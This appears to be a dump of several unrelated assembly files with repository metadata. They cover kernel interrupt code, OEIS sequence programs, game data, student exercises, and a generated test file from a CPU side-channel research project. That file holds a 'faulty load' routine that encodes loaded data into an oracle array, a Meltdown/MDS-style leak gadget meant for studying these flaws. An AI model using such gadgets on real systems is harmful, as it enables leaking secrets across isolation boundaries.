0fb564e0e4b73e4bb675a74097c895d448155e9a
716
asm
Assembly
kernel/processor/x64/interrupts-low-x64.asm
martin-hughes/project_azalea
28aa0183cde350073cf0167df3f51435ea409c8b
[ "MIT" ]
13
2017-12-20T00:02:38.000Z
2022-01-07T11:18:36.000Z
kernel/processor/x64/interrupts-low-x64.asm
martin-hughes/project_azalea
28aa0183cde350073cf0167df3f51435ea409c8b
[ "MIT" ]
21
2016-09-21T16:50:39.000Z
2020-04-12T12:58:19.000Z
kernel/processor/x64/interrupts-low-x64.asm
martin-hughes/project_azalea
28aa0183cde350073cf0167df3f51435ea409c8b
[ "MIT" ]
6
2017-12-20T00:02:27.000Z
2019-03-21T16:28:24.000Z
[BITS 64] SEGMENT .text EXTERN end_of_irq_ack_fn ; Stops interrupts on this processor. GLOBAL asm_proc_stop_interrupts asm_proc_stop_interrupts: cli ret ; Starts interrupt handling on this processor. ; TODO: Is it necessary to deal with missing IRQs here? GLOBAL asm_proc_start_interrupts asm_proc_start_interrupts: sti push rax mov rax, end_of_irq_ack_fn call [rax] pop rax ret GLOBAL asm_proc_install_idt extern interrupt_descriptor_table idt_pointer: ; Length of the table, in bytes. dw (256 * 16) - 1 dq interrupt_descriptor_table asm_proc_install_idt: push rax mov rax, idt_pointer lidt [rax] mov rax, end_of_irq_ack_fn call [rax] pop rax ret
17.463415
55
0.744413
3484e5344b7ff2754ade1a82ded71a55cb3770e1
418
asm
Assembly
programs/oeis/118/A118529.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/118/A118529.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/118/A118529.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A118529: Start with 1 and repeatedly reverse the digits and add 12 to get the next term. ; 1,13,43,46,76,79,109,913,331,145,553,367,775,589,997,811,130,43,46,76,79,109,913,331,145,553,367,775,589,997,811,130,43,46,76,79,109,913,331,145,553,367,775,589,997,811,130,43,46,76,79,109,913,331 mov $2,$0 mov $0,1 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,12 sub $2,1 lpe
38
198
0.698565
ca4e3249d22894e0edb6d912919a32186a97cf42
833
asm
Assembly
data/pokemon/base_stats/staryu.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/base_stats/staryu.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/base_stats/staryu.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
2
2021-08-11T19:47:07.000Z
2022-01-01T07:07:56.000Z
db 0 ; species ID placeholder db 30, 45, 55, 85, 70, 55 ; hp atk def spd sat sdf db WATER, WATER ; type db 225 ; catch rate db 106 ; base exp db STARDUST, STAR_PIECE ; items db GENDER_UNKNOWN ; gender ratio db 20 ; step cycles to hatch INCBIN "gfx/pokemon/staryu/front.dimensions" db GROWTH_SLOW ; growth rate dn EGG_WATER_3, EGG_WATER_3 ; egg groups db 70 ; happiness ; tm/hm learnset tmhm WATER_PULSE, TOXIC, HAIL, HIDDEN_POWER, ICE_BEAM, BLIZZARD, LIGHT_SCREEN, PROTECT, RAIN_DANCE, FRUSTRATION, THUNDERBOLT, THUNDER, RETURN, PSYCHIC_M, DOUBLE_TEAM, REFLECT, FACADE, SECRET_POWER, REST, BRINE, ENDURE, RECYCLE, FLASH, THUNDER_WAVE, GYRO_BALL, PSYCH_UP, SLEEP_TALK, NATURAL_GIFT, SWAGGER, SUBSTITUTE, FLASH_CANNON, SURF, WATERFALL, DIVE, ICY_WIND, ROLLOUT, SIGNAL_BEAM, SNORE, SWIFT, TWISTER ; end
41.65
409
0.741897
92e1f723fdae98ec23ef954ad94d1b24859aff06
8,779
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_2521_2430.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_2521_2430.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_2521_2430.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r15 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x6164, %r13 add %rbx, %rbx mov $0x6162636465666768, %r15 movq %r15, %xmm3 vmovups %ymm3, (%r13) nop nop cmp %r15, %r15 lea addresses_D_ht+0xe57c, %r13 nop nop nop xor %r12, %r12 vmovups (%r13), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %r10 sub %r13, %r13 lea addresses_UC_ht+0x18d64, %r11 nop nop nop add $45020, %r10 movb $0x61, (%r11) nop nop nop nop nop dec %r12 lea addresses_UC_ht+0xf09c, %rsi lea addresses_WC_ht+0xc4c5, %rdi nop nop nop lfence mov $23, %rcx rep movsb and %r12, %r12 lea addresses_UC_ht+0x10ee4, %rsi lea addresses_A_ht+0x4d54, %rdi clflush (%rsi) xor $37406, %r15 mov $64, %rcx rep movsq nop cmp $52703, %rsi lea addresses_UC_ht+0x4364, %rsi lea addresses_WT_ht+0x6ba4, %rdi clflush (%rsi) nop nop nop nop add %r11, %r11 mov $35, %rcx rep movsb inc %rsi lea addresses_normal_ht+0xf68c, %r15 nop nop nop nop nop xor %r11, %r11 mov $0x6162636465666768, %r10 movq %r10, %xmm4 movups %xmm4, (%r15) nop nop nop nop sub $29297, %r10 lea addresses_normal_ht+0x9f64, %r12 nop nop xor $46096, %rdi vmovups (%r12), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rbx nop nop dec %r15 lea addresses_A_ht+0x153e4, %rsi lea addresses_A_ht+0x1dc84, %rdi nop add %rbx, %rbx mov $46, %rcx rep movsb nop nop nop xor $35645, %rsi lea addresses_normal_ht+0xab99, %rsi lea addresses_WT_ht+0x3264, %rdi nop nop nop nop nop sub $5057, %r13 mov $115, %rcx rep movsl nop nop sub %r10, %r10 lea addresses_WC_ht+0x3264, %r13 nop nop sub $48422, %rcx movb $0x61, (%r13) nop nop nop nop sub $26928, %rcx lea addresses_A_ht+0x10b64, %r12 nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %r11 movq %r11, %xmm7 and $0xffffffffffffffc0, %r12 movntdq %xmm7, (%r12) nop nop nop nop nop dec %rbx lea addresses_WC_ht+0x4364, %rsi nop dec %r13 movb (%rsi), %r11b dec %r11 lea addresses_A_ht+0x13464, %rsi nop nop and $45060, %r12 mov (%rsi), %r13d nop nop nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %r9 push %rbx push %rdx push %rsi // Store lea addresses_WT+0x1b64, %rdx nop dec %rbx mov $0x5152535455565758, %r9 movq %r9, %xmm7 vmovups %ymm7, (%rdx) nop and %rdx, %rdx // Store lea addresses_WC+0x10c64, %r9 clflush (%r9) nop nop nop nop nop and $45085, %r14 movw $0x5152, (%r9) nop nop nop nop nop and $11750, %rdx // Store lea addresses_normal+0x1d7c, %r13 nop nop nop cmp %rbx, %rbx movb $0x51, (%r13) nop nop nop cmp $18656, %r8 // Store lea addresses_A+0xe5e4, %r9 clflush (%r9) nop nop nop sub $58669, %rsi mov $0x5152535455565758, %r8 movq %r8, %xmm7 movups %xmm7, (%r9) nop nop add $62906, %r14 // Faulty Load lea addresses_RW+0x13364, %r9 xor $39158, %r13 vmovups (%r9), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r8 lea oracles, %rbx and $0xff, %r8 shlq $12, %r8 mov (%rbx,%r8,1), %r8 pop %rsi pop %rdx pop %rbx pop %r9 pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': True, 'NT': False}} {'32': 2521} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
31.693141
2,999
0.656681
120fe305d1af36fdc552192f8f91f6649b97c4cc
64
asm
Assembly
data/maps/headers/FuchsiaMart.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/headers/FuchsiaMart.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/headers/FuchsiaMart.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
map_header FuchsiaMart, FUCHSIA_MART, MART, 0 end_map_header
16
46
0.8125
b42e117bc2d858080ac42cc0d4c8310fbdbcf675
432
asm
Assembly
oeis/166/A166939.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/166/A166939.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/166/A166939.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A166939: Numerators of partial sums (n+1)/n (not sorted). ; Submitted by Jon Maiga ; 2,7,29,73,437,169,1343,3001,29809,32581,388631,418661,5830673,6216773,6601157,13968079,250430303,87787741,1749648679,366225215,127494581,132902893,3180922571,9914589163,257145392467,266412327067 mov $1,1 mov $3,1 add $3,$0 lpb $0 mov $2,$0 sub $0,1 add $2,1 mul $3,$2 add $3,$1 mul $1,$2 lpe add $1,$3 gcd $3,$1 div $1,$3 mov $0,$1
21.6
196
0.699074
a78a24c4a52a35396a509016e754bcc9df1f1818
125
nasm
Assembly
Projetos/F-Assembly/src/nasm/inc.nasm
juanjorgegarcia/Z01
7d49ef8f476f9c8e9f187a62f96fdca7bcd46314
[ "Unlicense" ]
null
null
null
Projetos/F-Assembly/src/nasm/inc.nasm
juanjorgegarcia/Z01
7d49ef8f476f9c8e9f187a62f96fdca7bcd46314
[ "Unlicense" ]
67
2018-03-13T21:40:05.000Z
2018-05-23T19:17:13.000Z
Projetos/F-Assembly/src/nasm/inc.nasm
juanjorgegarcia/Z01
7d49ef8f476f9c8e9f187a62f96fdca7bcd46314
[ "Unlicense" ]
3
2018-03-07T01:27:37.000Z
2018-03-23T19:35:14.000Z
leaw $1,%A incw $A movw $A, ($A)
1.302083
13
0.136
407dda4b504862cb9f83a076eb8cbe1803aaae3b
146
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_mapdt.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_mapdt.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/日本_Ver0/sfc/ys_mapdt.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: ys_mapdt.asm Type: file Size: 76124 Last-Modified: '2016-05-13T04:50:38Z' SHA-1: 41E94B0151DB079BE4F00A3F111FBD8E2C1BCD78 Description: null
20.857143
47
0.815068
cd12f3f77e105c268df93208f0bbb83b5cd6327a
736
asm
Assembly
oeis/097/A097733.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/097/A097733.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/097/A097733.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A097733: Pell equation solutions (7*b(n))^2 - 2*(5*a(n))^2 = -1 with b(n)=A097732(n), n >= 0. Note that D=50=2*5^2 is not squarefree. ; Submitted by Jamie Morken(s4) ; 1,197,39005,7722793,1529074009,302748930989,59942759261813,11868363584907985,2349876047052519217,465263588952813896981,92119840736610099083021,18239263202259846804541177,3611281994206713057200070025,715015595589726925478809323773,141569476644771724531747046037029,28030041360069211730360436306007969,5549806619817059150886834641543540833,1098833680682417642663862898589315076965,217563518968498876188293967086042841698237,43076477922082095067639541620137893341173961 mul $0,2 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $3,14 add $3,$1 mov $1,$2 lpe mov $0,$3
49.066667
468
0.817935
6dec74d78f2a5e482a5359581fe871c385b383b5
2,625
asm
Assembly
Final Assignment CSE331/Solution/Q8.asm
saimamiduri/CSE331L-Section-1-Fall20-NSU
721fec082f9fb29fb30552e4f0d93a53bb3e31df
[ "MIT" ]
null
null
null
Final Assignment CSE331/Solution/Q8.asm
saimamiduri/CSE331L-Section-1-Fall20-NSU
721fec082f9fb29fb30552e4f0d93a53bb3e31df
[ "MIT" ]
null
null
null
Final Assignment CSE331/Solution/Q8.asm
saimamiduri/CSE331L-Section-1-Fall20-NSU
721fec082f9fb29fb30552e4f0d93a53bb3e31df
[ "MIT" ]
null
null
null
.MODEL SMALL .STACK 64 .DATA STRING DB ? SYM DB '$' INPUT_M DB 0AH,0DH, 'ENTER THE INPUT STRING/INTEGER: ',0DH,0AH,'$' s_size = $ - INPUT_M DB 0Dh,0Ah,'$' OUTPUT_M DB 0AH,0DH, 'THE OUTPUT IS: ',0DH,0AH,'$' msg1 db " this is palindrome!$" msg2 db " this is not a palindrome!$" .CODE MAIN PROC MOV AX, @DATA MOV DS, AX MOV DX, OFFSET INPUT_M MOV AH, 9 INT 21H LEA SI, STRING INPUT: MOV AH, 1 INT 21H MOV [SI], AL INC SI CMP AL, 0DH JNZ INPUT MOV AL, SYM MOV [SI],'$' ; call reverse function CALL REVERSE ; load address of the string LEA DX,STRING MOV AH, 09H INT 21H MOV AH, 4CH INT 21H MAIN ENDP REVERSE PROC MOV SI, OFFSET STRING MOV CX, 0H LOOP1: MOV AX, [SI] CMP AL, '$' JE LABEL1 PUSH [SI] INC SI INC CX JMP LOOP1 LABEL1: MOV SI, OFFSET STRING LOOP2: ;if count not equal to zero CMP CX,0 JE EXIT ; pop the top of stack POP DX ; make dh, 0 XOR DH, DH ; put the character of the; ;reversed string MOV [SI], DX ; increment si and; ;decrement count INC SI DEC CX JMP LOOP2 EXIT: ; add $ to the end of string MOV [SI],'$' PALINDROME: MOV CX, s_size CMP CX, 1 JE is_palindrome ; single char is always palindrome! shr cx, 1 ; divide by 2! next_char: mov al, [di] mov bl, [si] cmp al, bl jne not_palindrome inc di dec si loop next_char is_palindrome: ; the string is "palindrome!" mov ah, 9 mov dx, offset msg1 int 21h jmp stop not_palindrome: ; the string is "not palindrome!" mov ah, 9 mov dx, offset msg2 int 21h stop: REVERSE ENDP ret OUTPUT: LEA DX, OUTPUT_M MOV AH, 9 INT 21H MOV DL, 0AH MOV AH, 02H INT 21H MOV DX, OFFSET STRING MOV AH, 9 INT 21H MOV AH, 4CH INT 21H END MAIN
14.344262
70
0.424
1b3abf1b06f312f3e6e0b178bd2c68ea6fed2648
300
asm
Assembly
programs/oeis/282/A282701.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/282/A282701.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/282/A282701.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A282701: a(n) = maximal number of real roots of any of the polynomials c_0 + c_1*x + c_2*x^2 + ... + c_n*x^n where the coefficients c_i are -1, 0, or 1, c_0 != 0, and c_n != 0. ; 0,1,2,3,2,3,4,5,4,5,4,5,6,7,6,7,6 mov $2,1 add $2,$0 lpb $2 gcd $0,2 add $1,2 trn $2,$1 lpe sub $1,$0 mov $0,$1
23.076923
178
0.573333
b44dd705d7663826188ee5f478ee15969f332ae9
1,527
asm
Assembly
List 03/ex12 (file IO).asm
LeonardoSanBenitez/Assembly-exercises
0f8e7f316d7e0171e28aae1b1dc0b056b123cd92
[ "MIT" ]
null
null
null
List 03/ex12 (file IO).asm
LeonardoSanBenitez/Assembly-exercises
0f8e7f316d7e0171e28aae1b1dc0b056b123cd92
[ "MIT" ]
null
null
null
List 03/ex12 (file IO).asm
LeonardoSanBenitez/Assembly-exercises
0f8e7f316d7e0171e28aae1b1dc0b056b123cd92
[ "MIT" ]
null
null
null
# Author: Leonardo Benitez # Date: 20/03/2019 # Brief # Read a text file with an "array of integers" # Just 1 digit integers, writen in sequence # Calculates the sum # Variables map # s0: file descriptor # s1: sum # s2: counter # s3: maxCounter .data Dread: .space 32 Dfilename: .asciiz "data.txt" .text li $v0, 13 # Open file service la $a0, Dfilename # Service parameter: filename li $a1, 0 # Service parameter: read (0) or write (1) li $s2, 0 # Service parameter: mode? syscall move $s0, $v0 # save file descriptor li $v0, 14 # Read file service move $a0, $s0 # Service parameter: file descriotor la $a1, Dread # Service parameter: buffer address li $a2, 32 # Service parameter: max lengh syscall move $s3, $v0 # save number of bytes read li $v0, 16 # system call for close file move $a0, $s0 # file descriptor to close syscall # close file addi $s3, $s3, -1 la $t0, Dread # t0 = base addr while: bge $s2, $s3, print # while (count < maxCount) lb $t1, 0($t0) # t1 = A[i] addi $t1, $t1, -48 # convert ascii to integer add $s1, $s1, $t1 # sum += integer readed addi $t0, $t0, 1 # ptr++ addi $s2, $s2, 1 # i++ j while print: li $v0, 1 move $a0, $s1 syscall
30.54
74
0.51539
5332312caed652a1c8d38d056a89a8b0c6b4632a
292
asm
Assembly
programs/oeis/051/A051065.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/051/A051065.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/051/A051065.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A051065: a(n) = A004128(n) mod 2. ; 0,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,1 lpb $0 add $1,$0 div $0,3 lpe mod $1,2 mov $0,$1
29.2
201
0.506849
4c8cefc03240546ea6820d162fdf4160ee1205a9
184
asm
Assembly
solutions/29 - Biometric Access/size-5_speed-60.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
45
2018-09-05T04:56:59.000Z
2021-11-22T08:57:26.000Z
solutions/29 - Biometric Access/size-5_speed-60.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
36
2018-09-01T11:34:26.000Z
2021-05-19T23:20:49.000Z
solutions/29 - Biometric Access/size-5_speed-60.asm
michaelgundlach/7billionhumans
02c6f3963364362c95cb516cbc6ef1efc073bb2e
[ "MIT" ]
36
2018-09-01T07:44:19.000Z
2021-09-10T19:07:35.000Z
-- 7 Billion Humans (2053) -- -- 29: Biometric Access -- -- Author: soerface -- Size: 5 -- Speed: 60 mem1 = nearest shredder a: mem2 = nearest datacube pickup mem2 giveto mem1 jump a
14.153846
29
0.679348
3c2d81add3400567cef18ceb303f9434f48276c8
12,730
asm
Assembly
RESULTS_ARCHIVE/18-08-2017/asm/Native-C.asm
Kosat/MixingLangsBenchmark
a525dabc9de53d121ca1b2e7b602e8b1c0c39db5
[ "MIT" ]
null
null
null
RESULTS_ARCHIVE/18-08-2017/asm/Native-C.asm
Kosat/MixingLangsBenchmark
a525dabc9de53d121ca1b2e7b602e8b1c0c39db5
[ "MIT" ]
null
null
null
RESULTS_ARCHIVE/18-08-2017/asm/Native-C.asm
Kosat/MixingLangsBenchmark
a525dabc9de53d121ca1b2e7b602e8b1c0c39db5
[ "MIT" ]
null
null
null
